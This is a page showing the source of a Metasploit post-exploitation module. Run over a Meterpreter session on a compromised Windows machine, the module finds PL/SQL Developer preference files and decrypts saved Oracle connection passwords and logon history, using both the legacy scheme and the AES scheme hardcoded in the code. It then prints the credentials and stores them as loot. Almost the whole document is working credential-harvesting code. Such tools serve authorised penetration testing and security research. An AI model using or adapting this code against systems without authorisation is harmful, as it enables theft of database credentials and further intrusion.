rapid7/metasploit-framework

View on GitHub
modules/post/windows/gather/credentials/plsql_developer.rb

Summary

Maintainability
C
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
        'Description' => %q{
          This module can decrypt the histories and connection credentials of PL/SQL Developer,
          and passwords are available if the user chooses to remember.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
        ],
        'Author' => [
          'Adam Caudill', # Discovery of legacy decryption algorithm
          'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_ls
              stdapi_fs_separator
              stdapi_fs_stat
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
      ]
    )
  end

  def decrypt_str_legacy(str)
    result = ''
    key = str[0..3].to_i
    for i in 1..(str.length / 4 - 1) do
      n = str[(i * 4)..(i * 4 + 3)].to_i
      result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
    end
    return result
  end

  # New AES encryption algorithm introduced since PL/SQL Developer 15.0
  def decrypt_str_aes(str)
    bytes = Rex::Text.decode_base64(str)

    cipher = OpenSSL::Cipher.new('aes-256-cfb8')
    cipher.decrypt
    hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
    cipher.key = hash + hash[0..11]
    cipher.iv = bytes[0..7] + "\x00" * 8

    return cipher.update(bytes[8..]) + cipher.final
  end

  def decrypt_str(str)
    # Empty string
    if str == ''
      return ''
    end

    if str.match(/^(\d{4})+$/)
      return decrypt_str_legacy(str) # Legacy encryption
    elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
      return decrypt_str_aes(str[2..]) # New AES encryption
    end

    # Shouldn't reach here
    print_error("Unknown encryption format: #{str}")
    return '[Unknown]'
  end

  # Parse and separate the history string
  def parse_history(str)
    # @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
    result = Hash[@keys.map { |k| [k.to_sym, ''] }]
    result[:Parent] = '-2'

    if str.end_with?(' AS SYSDBA')
      result[:ConnectAs] = 'SYSDBA'
      str = str[0..-11]
    elsif str.end_with?(' AS SYSOPER')
      result[:ConnectAs] = 'SYSOPER'
      str = str[0..-12]
    else
      result[:ConnectAs] = 'Normal'
    end

    # Database should be the last part after '@' sign
    ind = str.rindex('@')
    if ind.nil?
      # Unexpected format, just use the whole string as DisplayName
      result[:DisplayName] = str
      return result
    end

    result[:Database] = str[(ind + 1)..]
    str = str[0..(ind - 1)]

    unless str.count('/') == 1
      # Unexpected format, just use the whole string as DisplayName
      result[:DisplayName] = str
      return result
    end

    result[:Username] = str[0..(str.index('/') - 1)]
    result[:Password] = str[(str.index('/') + 1)..]

    return result
  end

  def decrypt_pref(file_name)
    file_contents = read_file(file_name)
    if file_contents.nil? || file_contents.empty?
      print_status "Skipping empty file: #{file_name}"
      return []
    end

    print_status("Decrypting #{file_name}")
    result = []

    logon_history_section = false
    connections_section = false

    # Keys that we care about
    @keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
    # Initialize obj with empty values
    obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
    # Folder parent objects
    folders = {}

    file_contents.split("\n").each do |line|
      line.gsub!(/(\n|\r)/, '')

      if line == '[LogonHistory]' && !(logon_history_section || connections_section)
        logon_history_section = true
        next
      elsif line == '[Connections]' && !(logon_history_section || connections_section)
        connections_section = true
        next
      elsif line == ''
        logon_history_section = false
        connections_section = false
        next
      end

      if logon_history_section
        # Contents in [LogonHistory] section are plain encrypted strings
        # Calling the legacy decrypt function is intentional here
        result << parse_history(decrypt_str_legacy(line))
      elsif connections_section
        # Contents in [Connections] section are key-value pairs
        ind = line.index('=')
        if ind.nil?
          print_error("Invalid line: #{line}")
          next
        end

        key = line[0..(ind - 1)]
        value = line[(ind + 1)..]

        if key == 'Password'
          obj[:Password] = decrypt_str(value)
        elsif obj.key?(key.to_sym)
          obj[key.to_sym] = value
        end

        # Color is the last field of a connection
        if key == 'Color'
          if obj[:IsFolder] != '1'
            result << obj
          else
            folders[obj[:Number]] = obj
          end

          # Reset obj
          obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
        end

      end
    end

    # Build display name (Add parent folder name to the beginning of the display name)
    result.each do |item|
      pitem = item
      while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
        pitem = folders[pitem[:Parent]]
        if pitem.nil?
          print_error("Invalid parent: #{item[:Parent]}")
          break
        end
        item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
      end

      if item[:Parent] == '-2'
        item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
      else
        item[:DisplayName] = '[Connections]/' + item[:DisplayName]
      end

      # Remove fields used to build the display name
      item.delete(:Parent)
      item.delete(:Number)
      item.delete(:IsFolder)

      # Add file path to the final result
      item[:FilePath] = file_name
    end

    return result
  end

  def enumerate_pref(plsql_path)
    result = []
    pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
    session.fs.dir.entries(pref_dir).each do |username|
      udir = pref_dir + session.fs.file.separator + username
      file_name = udir + session.fs.file.separator + 'user.prefs'

      result << file_name if directory?(udir) && file?(file_name)
    end

    return result
  end

  def run
    print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
    profiles = grab_user_profiles
    pref_paths = []

    profiles.each do |user_profiles|
      session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
        if dirname.start_with?('PLSQL Developer')
          search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
          pref_paths += enumerate_pref(search_dir)
        end
      end
    end
    pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?

    result = []
    pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }

    tbl = Rex::Text::Table.new(
      'Header' => 'PL/SQL Developer Histories and Credentials',
      'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
    )

    result.each do |item|
      tbl << item.values
    end

    print_line(tbl.to_s)
    # Only save data to disk when there's something in the table
    if tbl.rows.count > 0
      path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
      print_good("Passwords stored in: #{path}")
    end
  end
end